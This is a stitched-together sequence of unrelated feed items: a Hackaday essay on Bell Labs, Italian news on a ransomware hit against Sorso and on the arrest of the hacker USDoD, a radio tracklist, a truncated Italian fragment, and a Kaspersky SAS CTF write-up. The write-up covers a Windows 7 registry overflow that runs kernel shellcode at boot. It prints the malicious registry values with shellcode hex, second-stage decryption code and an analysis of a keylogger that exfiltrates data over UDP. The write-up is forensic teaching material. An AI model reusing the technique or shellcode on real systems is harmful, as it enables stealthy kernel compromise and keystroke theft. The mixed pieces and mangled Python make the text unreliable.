It’s been said that the best way to stifle creativity by researchers is to demand that they produce immediately marketable technologies and products. This is also effectively the story of Bell Labs, originally founded as Bell Telephone Laboratories, Inc. in January 1925. As an integral part of AT&T and Western Electric, it enjoyed immense funding and owing to the stable financial situation of AT&T very little pressure to produce results. This led to the development of a wide range of technologies like the transistor, laser, photovoltaic cell, charge-coupled cell (CCD), Unix operating system and so on. After the break-up of AT&T, however, funding dried up and with it the discoveries that had once made Bell Labs such a famous entity. Which raises the question of what it would take to create a new Bell Labs?

As described in the article by [Brian Potter], one aspect of Bell Labs that made it so successful was that the researchers employed there could easily spend a few years tinkering on something that tickled their fancy, whether in the field of semiconductors, optics, metallurgy or something else entirely. There was some pressure to keep research focused on topics that might benefit the larger company, but that was about it, as the leadership knew that sometimes new technologies can take a few year or decades to come to fruition.

Bell Labs Nobel prizes: comparing year winner was hired vs year of discovery. (Credit: Brian Potter, Construction Physics)
All of this came to an rapid stop following the 1982 court-ordered breakup of AT&T. Despite initial optimism at Bell Labs that things could remain much the same, but over the following years Bell Labs would be split up repeatedly, with the 1996 spinning off of Western Electric into Lucent Technologies that took much of Bell Labs with it being the first of many big splits, ending for now with five pieces, with Nokia Bell Labs (formerly Lucent Bell Labs) and AT&T Labs being the largest two. To nobody’s surprise, among all these changes funding for fundamental and theoretical research effectively vanished.

A blue LED held up by its inventor, [Shuji Nakamura].The article then raises the question of whether Bell Labs was a historical fluke that could exist solely due to a number of historical coincidences, or that we could create a new ‘Bell Labs’ today. Theoretically billion-dollar companies such as Google and Apple are more than capable of doing such a thing, and to a certain extent they also are, funding a wide range of seemingly unrelated technologies and business endeavors.

Ultimately Bell Labs would seem to have been at least partially a product of unique historical circumstances, especially the highly specialized field of telecommunications before the same transistors and other technologies that Bell Labs invented would make such technological fields something that anyone could get started in. It’s possible that even without court order, AT&T would have found itself facing stiff competition by the 1990s.

The short answer to the original question of whether Bell Labs could be recreated today is thus a likely ‘no’, while the long answer would be ‘No, but we can create a Bell Labs suitable for today’s technology landscape’. Ultimately the idea of giving researchers leeway to tinker is one that is not only likely to get big returns, but passionate researchers will go out of their way to circumvent the system to work on this one thing that they are interested in. We saw this for example with [Shuji Nakamura], who cracked the way to make efficient blue LEDs, despite every effort by his employer to make his research unnecessarily difficult.

If there’s one thing that this world needs more of, it are researchers like Nakamura-san, and the freedom for them to pursue these passions. That, ultimately could be said to be the true recreation of Bell Labs.

hackaday.com/2024/10/17/what-w…

Il Comune di Sorso, un comune situato nella provincia di Sassari, è stato colpito da un attacco informatico che ha portato a un grave malfunzionamento del sistema. Questa intrusione ha messo fuori uso diversi servizi fondamentali, tra cui l’Anagrafe e il Protocollo, creando disagi significativi per i cittadini e l’amministrazione.

Le conseguenze di questo attacco si sono subito fatte sentire: numerosi servizi comunali sono stati interrotti, e i funzionari hanno dovuto attivare procedure di emergenza per contenere i danni.

La situazione è stata ulteriormente complicata dalla mancanza di accesso ai documenti e alle informazioni cruciali, lasciando molti cittadini senza risposte ai loro bisogni immediati. In questo contesto, l’amministrazione ha richiesto l’assistenza dei Carabinieri per indagare sull’incidente e identificare i responsabili.

Nel frattempo, per limitare i disagi, è stata attivata una nuova organizzazione di emergenza. Ancora oggi permangono le problematiche e funzionano solo i servizi essenziali.

Secondo le prime analisi degli esperti, il tipo di attacco potrebbe essere un ransomware, un malware noto per cifrare i dati e richiedere un pagamento per il loro ripristino. Questo genere di attacco ha visto un incremento esponenziale negli ultimi anni, colpendo istituzioni pubbliche e private in tutto il mondo. Gli specialisti della cybersecurity stanno ora valutando le dimensioni del danno e le modalità di recupero delle informazioni.

Per mitigare i rischi futuri, l’amministrazione comunale sta considerando l’implementazione di misure di sicurezza più rigorose. Ciò include l’adozione di sistemi di protezione avanzati e la formazione del personale su come prevenire e rispondere a simili minacce informatiche. Il Comune di Sorso non è solo nel fronteggiare questa crisi: molte altre amministrazioni locali stanno iniziando a riconoscere l’importanza di investire nella sicurezza informatica.

L'articolo Attacco Informatico al Comune di Sorso! Protocollo e Anagrafe Bloccati mentre i Carabinieri indagano proviene da il blog della sicurezza informatica.

On May 18, 2024, Kaspersky’s Global Research & Analysis Team (GReAT), with the help of its partners, held the qualifying stage of the SAS CTF, an international competition of cybersecurity experts held as part of the Security Analyst Summit conference. More than 800 teams from all over the world took part in the event, solving challenges based on real cases that Kaspersky GReAT encountered in its work, but a couple of challenges remained unsolved. One of those challenges was based on a security issue that allows kernel shellcode to be hidden in the system registry and executed during system boot on a fully updated Windows 7/Windows Server 2008 R2 due to an incomplete fix for the CVE-2010-4398 vulnerability. Although security updates and technical support for Windows 7 ended in early 2020, the fact that the released patch only partially addressed the issue was known long before that, and we saw this flaw exploited in a targeted attack in 2018. At the time, we notified Microsoft about the in-the-wild exploitation, but Microsoft refused to address it because using this technique requires attackers to have administrator privileges. In this blog post, we will provide technical details about this flaw and the SAS CTF task based on it.

Vulnerability details

There is a design flaw in older versions of Windows operating systems (Windows NT 4.0 through Windows 7) that allows a kernel shellcode to persist and be launched at system boot by writing specially crafted data to some of the many locations in the system registry.

Windows Kernel API has a function called RtlQueryRegistryValues that can be used to query multiple values from the registry subtree with a single call.
NTSYSAPI NTSTATUS RtlQueryRegistryValues(
[in] ULONG RelativeTo,
[in] PCWSTR Path,
[in, out] PRTL_QUERY_REGISTRY_TABLE QueryTable,
[in, optional] PVOID Context,
[in, optional] PVOID Environment
);

RtlQueryRegistryValues syntax

The values to be queried by this function are defined by the QueryTable parameter, which contains a pointer to a table consisting of _RTL_QUERY_REGISTRY_TABLE structures.
typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

_RTL_QUERY_REGISTRY_TABLE structure definition

Each table entry defines the name of the value to query, its default type (e.g., REG_NONE, REG_BINARY, REG_DWORD, REG_SZ etc.; this is optional) and default data, the address of the buffer to store the value or the address of the callback function, and flags that control how to query this value.

One of the supported flags, RTL_QUERY_REGISTRY_DIRECT, causes RtlQueryRegistryValues ​​not to execute a callback function (pointed to by the entry’s QueryRoutine field), but to store the queried value directly to the provided buffer (pointed to by the entry’s EntryContext field).

While writing data directly to the provided buffer instead of executing a callback may be more convenient, it leads to unexpected consequences if the requested value in the registry is for some reason of an unexpected type. For instance, if the code expects a value of type REG_DWORD, which has a fixed size of four bytes, but receives a value of type REG_BINARY, which is variable in size, the value may not fit fully into the prepared buffer. As a result, if RtlQueryRegistryValues returns more data than the calling function expected, a buffer overflow occurs that can be easily exploited on Windows 7 and older systems because of the lack of stack cookies.

To address this issue, Microsoft has implemented and encouraged developers to use an additional flag, RTL_QUERY_REGISTRY_TYPECHECK, which is intended to be used in conjunction with the RTL_QUERY_REGISTRY_DIRECT flag to check that the type of the requested value matches the type expected by the caller.

Note from RtlQueryRegistryValues documentation

However, this is by no means a complete fix, and for Windows 7 Microsoft itself started using the new flag only where it was absolutely necessary to address possible privilege escalation vulnerabilities. As for the vulnerable registry/code paths that could be accessed with admin rights, they were not patched, giving attackers the opportunity to stealthily store and execute kernel shellcode.

In one of the attacks, we observed an APT actor using two DirectX drivers for exploitation – “dxgmms1.sys” and “dxgkrnl.sys” – but a quick look revealed about a dozen vulnerable drivers included in the Windows 7/Windows Server 2008 R2 base package.

Exploitation

To execute kernel shellcode, attackers exploit multiple stack buffer overflows in two drivers using the RtlQueryRegistryValues function. This is done in two stages.

In the first stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgmms1.sys” driver. The vulnerable code queries several registry values from the path “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers\MemoryManager”, and making these registry entries bigger than expected results in several buffer overflows. Attackers can use this to write the shellcode to a fixed location in the kernel memory at the address 0xfffff78000000800, which is an address of the KUSER_SHARED_DATA structure + 0x800.

Exploitation of “dxgmms1.sys” driver

In the second stage, attackers exploit the insecure use of the RtlQueryRegistryValues function in the “dxgkrnl.sys” driver – the registry values ​​used by the vulnerable code are located at “HKLM\SYSTEM\ControlSet001\Control\GraphicsDrivers”. This allows attackers to overwrite the return address of one of the called functions with an address of 0xfffff78000000800, resulting in the execution of the shellcode written in the first stage of exploitation.

Exploitation of ” dxgkrnl.sys” driver

All registry values ​​used during exploitation are expected to be of type REG_DWORD, but the attackers have set them to malicious values ​​of type REG_SZ/REG_BINARY. Since the SYSTEM hive is explicitly trusted, the data type mismatch is ignored and this results in successful exploitation.

The SAS CTF challenge

The beginning

You are presented with a README.txt note and three other files:
README.txt SOFTWARE SYSTEM traffic.pcapng
The SOFTWARE and SYSTEM files are what they are supposed to be, and are the registry hives of a Windows system.
$ file *
README.txt: ASCII text
SOFTWARE: MS Windows registry file, NT/2000 or above
SYSTEM: MS Windows registry file, NT/2000 or above
traffic.pcapng: pcapng capture file - version 1.0
Now, our first goal would be to find the piece of registry that is causing the VM to crash. This can be done in several ways, such as trying to find a piece of executable code in the registry hives (there is a NOP sled at offset 0x92D675 in the SYSTEM hive). But let’s try to reproduce the crash instead.

Identifying the VM and the OS

We are going to use regipy to parse and dump the registry hives. By dumping the SYSTEM hive, we can easily recognize the VirtualBox devices:
$ regipy-dump -d SYSTEM | grep VBo
"subkey_name": "VBoxWddm",
"path": "\\ControlSet001\\services\\eventlog\\System\\VBoxWddm",
"subkey_name": "VBoxGuest",
"path": "\\ControlSet001\\services\\VBoxGuest",
"path": "\\ControlSet001\\services\\VBoxMouse\\DriverInfo",
"subkey_name": "VBoxMouse",
...
Just to be sure, we can even find the right version of the VirtualBox additions package, which is 6.1.46:
$ regipy-dump SOFTWARE -p '\Microsoft\Windows\CurrentVersion\Uninstall' |
grep racle
"subkey_name": "Oracle VM VirtualBox Guest Additions",
"path": "\\Oracle VM VirtualBox Guest Additions",
"value": "Oracle VM VirtualBox Guest Additions 6.1.46",
"value": "C:\\Program Files\\Oracle\\VirtualBox Guest
Additions\\uninst.exe",
"value": "Oracle Corporation",
We also can identify the exact Windows build to run, which turns out to be Windows 7 SP1 x64:
$ regipy-plugins-run -p winver_plugin -o output.txt SOFTWARE && cat output.txt
Loaded 52 plugins
INFO:regipy.plugins.software.winver:Started winver Plugin...
Finished: 1/52 plugins matched the hive type
{
"winver_plugin": {
"\\Microsoft\\Windows NT\\CurrentVersion": {
"last_write": "2024-05-13T23:45:33.125000+00:00",
"CurrentVersion": "6.1",
"CurrentBuild": "7601",
"InstallDate": "2024-05-13 05:14:05",
"RegisteredOrganization": 0,
"RegisteredOwner": "user",
"InstallationType": "Client",
"EditionID": "Enterprise",
"ProductName": "Windows 7 Enterprise",
"ProductId": "00392-918-5000002-85992",
"CurrentBuildNumber": "7601",
"BuildLab": "7601.win7sp1_gdr.130828-1532",
"BuildLabEx": "7601.18247.amd64fre.win7sp1_gdr.130828-1532",
"CSDVersion": "Service Pack 1"
}
}
Now let’s grab a Windows 7 SP1 VM or install a fresh one in a VirtualBox VM. While the VM is booting, let’s also build a timeline of the registry hive that we may need later:
$ regipy-dump -t -o timeline-system.txt SYSTEM
Now download your favorite Live CD (for example, a vanilla Ubuntu Desktop ISO that we’ll boot to transplant the registry hives into the Windows system).

Install the VirtualBox guest additions from the official ISO to match what was installed in the original system. The clues in the README note (video driver!), the list of installed drivers and the shimcache (try “regipy-plugins-run -p shimcache -o output.txt SYSTEM && cat output.txt”, it will mention running dxdiag.exe) suggest that the system should be configured with Direct3D support, and this is crucial to triggering the exploit.

Once installed, “dxdiag.exe” should show “Enabled” for Direct3D on the VM:

Set up the debugger

Before we continue, let’s turn on kernel debugging inside the VM. Since we know there should be a BSOD, we will need it. You can also do this later by backing up the original registry hives to boot into the system and run the proper commands.
bcdedit /debug on
bcdedit /bootdebug {current} on
bcdedit /dbgsettings serial debugport:*port number* baudrate:115200
We will also set up a second Windows VM with the Windows Debugger and connect it to our target VM using a pipe-based virtual COM port. Start WinDbg on the debugger system (“Kernel Debug”), reboot the VM and you should see the kernel debugger connect. If not, check the COM port connection between the machines. It is also possible to use the host machine to run the debugger.

Crash!

Once it is working, replace the SOFTWARE and SYSTEM hives. Back up the original files, copy the hives (drag and drop, or via a share) to the VM and reboot into a Live CD, mount the NTFS volume, then copy the hives to “mountpoint/Windows/System32/config/”. Reboot and you should get an infinite BSOD loop/connection to the debugger.

Without the debugger it looks like this:

With the debugger, WinDbg output looks like this:

Analyzing the crash

We need to investigate this crash. Now, we can either extract the crash dump and inspect it offline, or debug live with our debugger machine (host, or a second VM) – let’s continue with the latter course. Make sure you can download the correct symbols, set up the symbol path, and execute “.reload /f” in WinDbg to force the download.

By inspecting the addresses on the stack around the stack pointer we can find an address inside “dxgkrnl”:

Further on in the stack we see the return addresses from nt!ObCreateObject:

Now we have a choice: either analyze the vulnerability in dxgkrnl and dxgmms1 until we understand exactly what is happening, or take a more hacky route, guided by the task note (“I tried to fix the registry but now it bluescreens all the time”):

• check the memory around the crash pointer. At the address +0x800 from the crash site you can clearly see a shellcode that doesn’t belong to any module and can be analyzed;
• search for the crash pointer address in the registry, using the timeline we generated and looking for “recent” changes.
  $ grep -i fffff78000000000 timeline-system.txt

Nothing. Let’s reverse the byte order (it may be a binary string, little endian):
$ grep -i 0000000080f7ffff timeline-system.txt
2024-05-16
13:39:56.411698+00:00,\ControlSet001\Control\GraphicsDrivers,5,"[Value(name
='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False),
Value(name='UseXPModel', value=0, value_type='REG_DWORD',
is_corrupted=False), Value(name='TdrLevel',
value='00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay',
value='03000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode',
value='02000000000000000500000000000000030000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]"
2024-05-16
13:41:27.599198+00:00,\ControlSet002\Control\GraphicsDrivers,5,"[Value(name
='DxgKrnlVersion', value=8197, value_type='REG_DWORD', is_corrupted=False),
Value(name='UseXPModel', value=0, value_type='REG_DWORD',
is_corrupted=False), Value(name='TdrLevel',
value='00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDdiDelay',
value='03000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='TdrDebugMode',
value='02000000000000000500000000000000030000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000080f7ffff', value_type='REG_BINARY', is_corrupted=False)]"
Now there are three registry values that contain the crash address (“TdrDdiDelay”, “TdrDebugMode” and “TdrLevel”), and these *could* be controlling the return address of a dxgkrnl driver’s routine. Let’s see if the location of the shellcode can also be found in the registry:
$ grep -i 0008000080f7ffff timeline-system.txt
2024-05-16
12:30:09.856290+00:00,\ControlSet001\Control\GraphicsDrivers\MemoryManager,
6,"[Value(name='PinnedMemoryLimit',
value='9cffffff00000000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='PagesHistory',
value='00000000000000000000000004000000040000000000000038ffffff',
value_type='REG_BINARY', is_corrupted=False),
Value(name='NbDmaBufferLimitPerDevice',
value='000000020000000000000080000000000008000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset',
value='01000000000000000100000000000000010000000000000000000000000000000a00
0000000000000f0000000000000005000000000000002c01000000008000000010003c00000
000008000020000003c000000000000003c0000000100000058020000000400000200000000
00000200000000400000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='NbPagingHistoryRecords',
value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3
48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380
0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0
204809c70fb7022500f00000be000500004809', value_type='REG_SZ',
is_corrupted=False), Value(name='Control',
value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52
a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7
3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9
16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ',
is_corrupted=False)]"
2024-05-16
12:30:09.856290+00:00,\ControlSet002\Control\GraphicsDrivers\MemoryManager,
6,"[Value(name='PinnedMemoryLimit',
value='9cffffff00000000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='PagesHistory',
value='00000000000000000000000004000000040000000000000038ffffff',
value_type='REG_BINARY', is_corrupted=False),
Value(name='NbDmaBufferLimitPerDevice',
value='000000020000000000000080000000000008000080f7ffff',
value_type='REG_BINARY', is_corrupted=False), Value(name='UseUnreset',
value='01000000000000000100000000000000010000000000000000000000000000000a00
0000000000000f0000000000000005000000000000002c01000000008000000010003c00000
000008000020000003c000000000000003c0000000100000058020000000400000200000000
00000200000000400000000000000000000000', value_type='REG_BINARY',
is_corrupted=False), Value(name='NbPagingHistoryRecords',
value='504889e141574156415541544883ec20e80d0000004883c420415c415d415e415fc3
48895c2408488974241048897c24185541544155415641574889e54883ec7065488b1425380
0000031c04989cc8d4828488d7dd0f3aa0fb77a06b80000ffffc1e7104821c78b420848c1e0
204809c70fb7022500f00000be000500004809', value_type='REG_SZ',
is_corrupted=False), Value(name='Control',
value='9d180bde5b394ac1244ebafbe47cf4fbf43309b5904beb0d6310dbbf7d574f317f52
a769b63bf326c24e397139d8b483349d6eb17aef6d4eb96ede7f7ed05231aa35d61ed118cf7
3f7b5146844f37dfb385dea883a3c70b48b14404a5a1a2544124d3ac3a634284ec34565f6a9
16e9de35cef1919d4cad6e6925e7f30ecadf83', value_type='REG_SZ',
is_corrupted=False)]"
Indeed, the “NbDmaBufferLimitPerDevice” value contains exactly that address. We suggest actually analyzing the drivers and finding out where exactly these registry values come into action and control the creation of a UNICODE_STRING object that then leads to a memory copy to a fixed kernel address and then a return to that address.

Just to check this, let’s edit the registry values “TdrDdiDelay”, “TdrDebugMode” and “TdrLevel” in the key “\\ControlSet001\\Control\\GraphicsDrivers” and change the sequence “0000000080f7ffff” to “0008000080f7ffff”. This can be done, for example, by temporarily restoring the original “SYSTEM” hive (Live CD), booting the system, editing the “malicious” hive with regedit (“Load hive”) and then moving it back (Live CD).

Now we can set a breakpoint at the beginning of the shellcode and get a hit on reboot:

Dump the memory page and analyze it statically, or continue in the debugger to find out its purpose. Although you can tinker with the registry hive and transplant only parts of it to make the OS boot without any errors, it is also possible to continue the analysis statically, using the debugger for support (required).

The shellcode

Analyzing the shellcode from the beginning leads us to a function @0x717 that starts a system thread, the thread routine @0x269. API names are resolved by hashes, so we need to step through them in the debugger or resolve them using a script. The decompiled shellcode is shown below.

The two-QWORD array is filled with the two arguments of the “RealMain_717” routine and is then used by the thread routine: the bytes from this pointer are copied until a sequence of 0xC3, 0xCC, 0xCC is encountered. The loop extracts the bytes until the end of some function (pointed to by param_2 or RealMain_717):

The copied bytes are then modified (two DWORDs set to zero), and encrypted with the output of an LCG pre-seeded with the first DWORD of the code sequence, XORed with 0x150D.

The code then uses RtlQueryRegistryValues to read “CurrentControlSet\Control\GraphicsDrivers\MemoryManager”, value “Control”, and decrypts the registry value using the output of the LCG and the encrypted code sequence from the previous piece of code:

So decryption is only possible if the original byte sequence is known (the length of the key is unknown, and brute-forcing the LCG would not help). The address of the correct code sequence can be extracted from the debugger.

Booting with the shellcode

Although replacing the SYSTEM and SOFTWARE hives may get you past the first BSOD, the system will most likely still crash. To actually have a bootable system (and since we know the registry keys that trigger execution), it makes sense to transplant only the correct registry keys:

• boot in a normal installation of Windows 7 SP1 amd64, mount the SYSTEM hive with Regedit;
• save the registry key from the mounted hive and then restore it to the target registry location:

>reg save *mountpoint*\ControlSet001\Contro
l\GraphicsDrivers c:\dump.reg
The operation completed successfully.

>reg restore HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\
GraphicsDrivers c:\dump.reg
The operation completed successfully.Now it is possible to boot the system, debug the shellcode, and figure out the bytes required for decryption. By setting a breakpoint at offset 0xA4 in the shellcode, we can trace the correct address:

The original source bytes to be modified and hashed are located in dxgkernel.sys:
0x48, 0x83, 0xec, 0x28, 0x80, 0x3d, 0x24, 0xee, 0xf9, 0xff, 0x00,
0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0x19, 0xee, 0xf9, 0xff, 0x01, 0xe8,
0x19, 0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48,
0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc
The modification of DWORDs at offsets 0x5 and 0x11 removes relocatable parts.

Decrypting the second stage

Let’s dump the “Control” registry value:
from regipy.registry import RegistryHive
reg = RegistryHive('SYSTEM')
with open('Control','wb') as f:
f.write(reg.get_key('\\ControlSet001\\Control\\GraphicsDrivers\\MemoryManag
er').get_value('Control'))
The resulting file should be 10848 bytes long and have the following MD5 checksum:
33030a6f336d589eaf16856bdf65ab01 Control
By implementing the decryption algorithm the same way as in the shellcode, and using the correct bytes from dxgkrnl, we are able to decrypt the second stage:
import struct
bytes_to_hash = bytearray([0x48, 0x83, 0xec, 0x28, 0x80, 0, 0, 0, 0, 0xff,
0x00, 0x75, 0x13, 0x33, 0xc9, 0xc6, 0x05, 0, 0, 0, 0, 0x01, 0xe8, 0x19,
0x7d, 0x00, 0x00, 0xe8, 0x5c, 0xdf, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x83,
0xc4, 0x28, 0xc3])
seed = struct.unpack('<L', bytes_to_hash[0:4])[0] ^ 5389
for i in range(len(bytes_to_hash)):
seed=((seed * 1664525) + 1013904223) & 0xffffffff
bytes_to_hash[i] ^= (seed >> 16) & 0xFF
with open('Control', 'rb') as f:
control=bytearray(f.read())
for i in range(len(control)):
seed=((seed * 1664525) + 1013904223) & 0xffffffff
control[i] ^= bytes_to_hash[i%len(bytes_to_hash)] ^ ((seed >> 16) &
0xFF)
with open('Control.dec', 'wb') as f:
f.write(control)
The resulting file should have the following MD5 checksum:
fb9dfb839d28bf0780ba534d381c294c Control.dec
Since the second stage is also a shellcode, let’s see what’s in there.

The second stage

The shellcode of the second stage can be recognized as multi_arch_kernel_queue_apc.asm with minor modifications. Once recognized, there is no need to analyze the code because its only purpose is to inject a usermode APC with the payload. One detail worth mentioning is that the hashed name of the target process is “vboxtray.exe” (hash value 0x21B5C5E1).

The shellcode is appended with a WORD value equal to the length of the usermode payload, followed by the payload itself. So, by searching for the loader’s ending opcodes, we can locate the usermode payload:

Let’s extract and check the contents of this payload.
b5a958164178bda276c46e83eb1885e2 usermode_payload

Usermode payload

The usermode part injected as an APC starts with a DLL loader generated by the sRDI (“shellcode reflective DLL injection”) toolkit. This is a common piece of code that usually requires no additional analysis, so for now let’s focus on its payload – the DLL appended to the shellcode.

The library has the following characteristics:

The library’s entry point simply executes a call to OutputDebugString that can be used for live debugging:

The only export “Hook” that is triggered by the reflective loader also produces a debug string, loads system libraries, and creates a thread. In this thread, the module first resolves API addresses by their hashes and then sets up a typical keylogger Windows hook (WH_KEYBOARD_LL):

The hook procedure is the most important here: it collects WM_KEYDOWN events in a buffer, encrypts them with RC4, and then sends them via UDP. The RC4 key is built from a MachineGuid and a fixed binary string:

Now that we know the business logic of the module, it is time to look at the network dump (traffic.pcapng):

Let’s collect all the UDP packets on port 53 and decrypt them:
from scapy.all import *
from regipy.registry import RegistryHive
from Crypto.Cipher import ARC4

reg = RegistryHive('SOFTWARE')
guid=reg.get_key('\\Microsoft\\Cryptography').get_value('MachineGuid').encode('utf-16le')
def decrypt_payload(payload):
key=guid
key+=b'\x00\x00' # terminating zero, utf-16
key+=b'\x05\x00\x00\xc0\x42\x00\x00\x80'
key+=b'\x06\x00\x00\xc0'
cipher=ARC4.new(key=key)
return cipher.decrypt(payload)

capture=b''
for packet in PcapReader('traffic.pcapng'):
if UDP in packet and packet[UDP].dport == 53:
ct = decrypt_payload(bytes(packet[UDP].payload))
capture += ct
print(capture)
A test run produces promising results, but there are low-level hook control sequences that should be handled correctly:
b'NOTE\xa0PLAN FOR
TODAY\r\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb
\xbb\x08\x08\x08\x08\r\r\xa08 S\x08FINISH THE \xa0IR TASK\r\xa08 WRIT \x08E
A REPORT \r\xa08 SOLVE THE LAST \xa0SASCTF TASK
\r\r\xa0\xa0\xa0\xa0\xa0\xa0\xa0OMG1 SOLVED IT\xa01\r\xa0THE FLAG
IS\xa0\xba
\xa0SAS\xdb1\xa0R\xbd1\xa0S\xbdT\xa0H3\xa0\xbdB3\xa0ST\xbdS0\xa0URCE\xbdOF\
xbdR3\xa0S3\xa0ARC\xa0HES\x08\x08\xa0\xdd\r\r\xa0HOE\x08PE IT
WORKS\xbe\xbe\xbe\r\r\xa0WILL FINISH THE REPORT
TOMORROW\xbe\xa2SPLAN\xbeTXT\r'
Since the keylogger is rather limited in functionality and only records key down events, the best we can do is parse shift-downs and convert VKeys to readable chars:
i = 0
final = ''
mapping = { 0xbb : '=', 0xba : ':', 0x0d: '\n', 0xdb: '{', 0xdd: '}', 0xbe
: '.', 0xbd: '-' }
uppercases = { '1' : '!', '8' : '*', '\xbd' : '_', '\xdd' : '}', '\xba' :
':' }
skip =
[0xa2]while i < len(capture):
b = capture
[i] if b == 0xA0: # LSHIFT
i += 1
c = chr(capture[i])
if c in uppercases:
c = uppercases
[c] elif b in mapping:
c = mapping
[b] else:
c = chr(b).lower()
i += 1
if b == 0x08: # backspace
final = final[:-1]
elif b not in skip:
final += c
print(final)
As a result, we get the following output:
notePlan for today
==============

* finish the Ir task
* write a report
* solve the last Sasctf task

Omg1 solved it!
The flag is: Sas{1R-1S-tH3_b3St-s0Urce-of-r3S3ArcH}

Hope it works...

Will finish the report tomorrow.splan.txt
As we can see, the flag string does not exactly match the format (“SAS{}”) because of the lack of Shift events, so we need to figure out/brute-force the final value, which turns out to be all uppercase (a lack of underscore conversion allows us to guesstimate where Shift should have been held down):
SAS{1R_1S_TH3_B3ST_S0URCE_OF_R3S3ARCH}

The SAS CTF final competition

The SAS CTF doesn’t end with the last challenge of the qualifying phase. On October 22-25, the top eight teams head to Bali to face more interesting challenges. If you want to join them, see who wins in person, and attend some great cybersec presentations at the Security Analyst Summit conference, you can register here.

securelist.com/sas-ctf-windows…

Durante l’operazione Data Breach, la polizia brasiliana ha arrestato l’hacker USDoD coinvolto nell’hacking di database nazionali e sistemi dell’FBI. L’aggressore, che opera anche sotto lo pseudonimo di EquationCorp, da diversi anni sferra attacchi informatici di alto profilo, rubando e pubblicando informazioni riservate sui forum degli hacker.

Tra i suoi attacchi più famosi c’è l’hacking del portale InfraGard, utilizzato per condividere informazioni sulle minacce informatiche tra l’FBI e organizzazioni critiche negli Stati Uniti. Un altro incidente, l’hacking National Public Data (NPD), ha fatto trapelare informazioni personali e numeri di previdenza sociale di centinaia di milioni di cittadini statunitensi. Secondo la polizia, USDoD ha distribuito i dati di 80.000 membri di InfraGard su siti web specializzati.

A seguito di questi fatti, l’editore brasiliano Techmundo ha ricevuto una segnalazione anonima che pretendeva di rivelare l’identità dell’aggressore. Nel documento si affermava che sotto lo pseudonimo USDoD si nascondeva un 33enne brasiliano di nome Luan G. Poco dopo, l’hacker stesso ha confermato in un’intervista a HackRead la correttezza di questi dati, aggiungendo che vive in Brasile. Ha anche notato che le informazioni sulla sua identità erano note a numerose aziende, inclusa Intel421, anche prima dell’attacco a InfraGard.

Probabilmente la polizia federale brasiliana ha utilizzato queste informazioni per localizzare il sospettato. L’operazione Data Breach si è conclusa con l’arresto di un hacker nella città di Belo Horizonte il 16 ottobre. Nell’ambito dell’indagine sono state condotte anche perquisizioni e sono state sequestrate prove indicanti il ​​coinvolgimento del detenuto nella vendita di dati della Polizia federale il 22 maggio 2020 e il 22 febbraio 2022.

L'articolo Hacker dell’USDoD è stato Preso! l’hacker che ha sfidato l’FBI ora è dietro le sbarre proviene da il blog della sicurezza informatica.

Seconda puntata, ecco la Tracklist e link :

1 - SHEHEHE - ELTON JHON - shehehe.bandcamp.com/track/elt…
2 - AIDALA - SPIRIT
3 - DANIELE BRUSACHETTO – ALLA LUNA
4 - TARWATER ULTIMO DISCO - youtube.com/watch?v=tCW4-LnhA0…
5 - ELISA MONTALDO – WASHING THE CLOUD
6 - O SUMMER VACATION - HUMMING - Humming | o'summer vacation (bandcamp.com)
7 – GITANE DEMONE – COME
8 - IBIBIO SOUND MACHINE - PULL THE ROPE  - Pull the Rope | Ibibio Sound Machine (bandcamp.com)
9 - DAIISTAR - STAR STARTER - Star Starter | DAIISTAR (bandcamp.com)

@Radio Unitoo @Musica Agorà

Un episodio curioso e preoccupante è accaduto di recente quando un uomo, visibilmente ubriaco, si è messo alla guida della sua Google Car, un veicolo che ha suscitato molteplici discussioni negli ultimi anni.

